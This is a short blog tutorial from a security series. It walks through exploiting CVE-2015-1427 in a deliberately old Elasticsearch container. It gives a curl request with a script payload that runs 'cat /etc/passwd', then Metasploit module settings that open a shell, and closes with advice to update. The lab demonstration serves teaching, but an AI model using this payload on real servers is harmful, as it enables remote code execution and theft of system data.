The container is in danger!


ESCRITO POR Paula

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Tiempo de lectura ~ 1 minuto

Hello again and welcome back to the Security Sprint second edition ;)

Keeping with the topic of the last week, I’m going further in containers security. Now, we are going to learn the danger inside Elasticsearch, a distributed, RESTful search and analytics engine.

To clearly understand my point, let’s first launch a container running Elasticsearch. I’m using 1.4.2 version on purpose.

# docker run -d -p 9200:9200 --name es benhall/elasticsearch:1.4.2

By default Docker drops certain Linux capabilities and blocks syscalls to add a default level of security.

We are going to add a record using curl (as the vuln we are using is only effective against not null databases), once we start listening, be patient ;)

# curl -XPUT 'http://0.0.0.0:9200/twitter/user/terceranexus6' -d '{"name":"Paula"}'

We are going to take advantage of CVE-2015-1427, an Elasticsearch vulnerability that allowed to use JAVA for searching, and getting access to additional information, for example getting access to the Operating System name.

We can see, it echoes the results on the HTTP request, but this could be additional applications to launch additional attacks. But this can allow us to access to sensitive data… for example passwd.

# curl http://docker:9200/_search?pretty -XPOST -d '{"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}'

Now, now, it’s the turn of Metasploit.

Metasploit is a penetration testing framework. It could take a while to launch!

# docker run -it --link es:es --entrypoint bash benhall/metasploit
# chmod +x start.sh && ./start.sh

And now we are exploiting Elasticsearch using it. In metasploit terminal write:

use exploit/multi/elasticsearch/search_groovy_script
set TARGET 0
set RHOST es
exploit

If everything went OK, we should have access to the container. Try and see it using ls.

Yikes! Scary! what should we do if we want to keep our container secure? Always take care of having the last versions of your tools, in order to have the patched versions. This can’t assure our security, but certainly will reduce the risk.

For more information on the topic, take a look to this amazing tutorial.

Also written in: https://dev.to/terceranexus6/the-container-is-in-danger-4hji

Quedada Octubre 2019

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